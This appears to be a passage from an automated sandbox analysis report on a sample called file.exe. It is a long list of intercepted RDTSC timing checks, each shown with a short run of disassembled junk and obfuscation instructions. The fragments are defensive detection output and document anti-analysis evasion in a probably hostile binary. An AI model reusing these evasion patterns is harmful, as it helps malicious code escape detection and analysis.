                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12A9E7F second address: 12A9EEC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1DD480849Ah 0x00000008 jmp 00007F1DD4808494h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 adc cl, FFFFFFA5h 0x00000015 mov dword ptr [ebp+1246C223h], esi 0x0000001b push 0000001Eh 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007F1DD4808488h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 00000018h 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 mov edx, esi 0x00000039 cmc 0x0000003a nop 0x0000003b push edi 0x0000003c pushad 0x0000003d pushad 0x0000003e popad 0x0000003f jnc 00007F1DD4808486h 0x00000045 popad 0x00000046 pop edi 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F1DD480848Eh 0x0000004f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12A9EEC second address: 12A9EF6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1DD489F59Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12AA1D7 second address: 12AA1DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12AA289 second address: 1293243 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007F1DD489F59Ch 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 or edi, 7CEF899Ah 0x00000019 call dword ptr [ebp+122D290Bh] 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12EC085 second address: 12EC08B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12EC08B second address: 12EC08F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12EC08F second address: 12EC093 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12EC093 second address: 12EC099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12EC099 second address: 12EC0E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1DD4808496h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1DD4808499h 0x00000012 jmp 00007F1DD4808491h 0x00000017 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12EC23E second address: 12EC24A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12EC3F2 second address: 12EC405 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1DD480848Fh 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12EC558 second address: 12EC55C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12EC55C second address: 12EC560 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12EC560 second address: 12EC566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12EC6BD second address: 12EC6C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12EC6C7 second address: 12EC6DB instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1DD489F596h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12EC6DB second address: 12EC6DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12EC6DF second address: 12EC6F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1DD489F59Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop ebx 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12EC6F8 second address: 12EC705 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F1DD4808486h 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12EF896 second address: 12EF89A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12EF89A second address: 12EF8A2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12EF8A2 second address: 12EF8BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1DD489F5A0h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12662DE second address: 12662F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1DD480848Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12662F2 second address: 12662F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12662F6 second address: 1266301 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12F8D0B second address: 12F8D11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12F82C6 second address: 12F82CE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12F840F second address: 12F8416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12F8711 second address: 12F871B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1DD4808486h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12F871B second address: 12F8721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12F8721 second address: 12F8727 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12F88C4 second address: 12F88CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12FB22B second address: 12FB231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12FB231 second address: 12FB235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12FB235 second address: 12FB23B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12FB3B5 second address: 12FB3BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12FB3BB second address: 12FB3BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12FB3BF second address: 12FB3C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12FB3C5 second address: 12FB407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push edi 0x00000008 push esi 0x00000009 jmp 00007F1DD4808490h 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1DD480848Eh 0x00000016 jmp 00007F1DD4808498h 0x0000001b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12FB407 second address: 12FB41C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12FB576 second address: 12FB57D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12FB57D second address: 12FB582 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12FB582 second address: 12FB58A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12FB8A3 second address: 12FB8A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12FB8A7 second address: 12FB8D7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1DD4808486h 0x00000008 jmp 00007F1DD480848Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F1DD4808495h 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12738FF second address: 1273921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1DD489F59Ah 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F1DD489F596h 0x00000014 jmp 00007F1DD489F59Ah 0x00000019 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12FFC5A second address: 12FFC5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12FFE07 second address: 12FFE1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1DD489F596h 0x0000000a popad 0x0000000b jnc 00007F1DD489F59Ch 0x00000011 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12FFF8D second address: 12FFF91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 130055C second address: 130059F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A3h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c jns 00007F1DD489F5C3h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1DD489F5A7h 0x00000019 jmp 00007F1DD489F59Ah 0x0000001e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 130059F second address: 13005A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1300EFC second address: 1300F01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 13081AA second address: 13081AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 13081AE second address: 13081D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1DD489F5A6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 13081D1 second address: 13081EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1DD480848Dh 0x0000000d je 00007F1DD4808486h 0x00000013 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 130639A second address: 13063C0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F1DD489F5A8h 0x0000000c jmp 00007F1DD489F5A2h 0x00000011 push eax 0x00000012 push edx 0x00000013 jnl 00007F1DD489F596h 0x00000019 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 13063C0 second address: 13063DE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F1DD4808495h 0x0000000f push esi 0x00000010 pop esi 0x00000011 jmp 00007F1DD480848Dh 0x00000016 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 130653B second address: 1306555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F1DD489F5A2h 0x0000000e jc 00007F1DD489F596h 0x00000014 jg 00007F1DD489F596h 0x0000001a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1306555 second address: 1306577 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F1DD4808498h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1306D2C second address: 1306D42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F1DD489F59Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 130728C second address: 13072A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD4808493h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 13072A3 second address: 13072AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 13072AB second address: 13072D9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1DD4808486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f jmp 00007F1DD480848Dh 0x00000014 pushad 0x00000015 popad 0x00000016 pop ecx 0x00000017 jmp 00007F1DD480848Fh 0x0000001c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1307909 second address: 130791B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F1DD489F596h 0x0000000a pop edx 0x0000000b pop esi 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 130791B second address: 1307955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F1DD4808486h 0x0000000a jmp 00007F1DD480848Dh 0x0000000f popad 0x00000010 js 00007F1DD480849Ah 0x00000016 push eax 0x00000017 push edx 0x00000018 jnc 00007F1DD4808486h 0x0000001e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1307C1F second address: 1307C2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1DD489F59Ah 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1307C2D second address: 1307C31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1310E45 second address: 1310E55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 jno 00007F1DD489F596h 0x0000000f popad 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1310E55 second address: 1310E5F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1DD480848Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 13104F2 second address: 13104F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 13106A8 second address: 13106AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 13106AC second address: 13106B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 13106B5 second address: 13106D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F1DD4808496h 0x0000000b popad 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 13106D2 second address: 13106DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 13106DA second address: 13106DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 131690B second address: 1316925 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1316BC1 second address: 1316BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1316FAD second address: 1316FB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 13172C8 second address: 13172CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 13172CE second address: 13172DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F59Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1317AD6 second address: 1317ADA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 13181DD second address: 13181E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 131F46A second address: 131F481 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD480848Ch 0x00000007 pushad 0x00000008 js 00007F1DD4808486h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 132A384 second address: 132A396 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1DD489F596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007F1DD489F598h 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 132A396 second address: 132A39E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 132A39E second address: 132A3A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 132A3A2 second address: 132A3AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 132A3AE second address: 132A3D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1DD489F5A5h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F1DD489F596h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1330174 second address: 1330192 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007F1DD4808495h 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 133B000 second address: 133B004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 133B004 second address: 133B00E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 126B4C2 second address: 126B4C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 126B4C6 second address: 126B4CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1347BF0 second address: 1347BFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1347BFA second address: 1347BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1347BFF second address: 1347C13 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1DD489F59Eh 0x00000008 jo 00007F1DD489F596h 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1347C13 second address: 1347C27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F1DD4808486h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
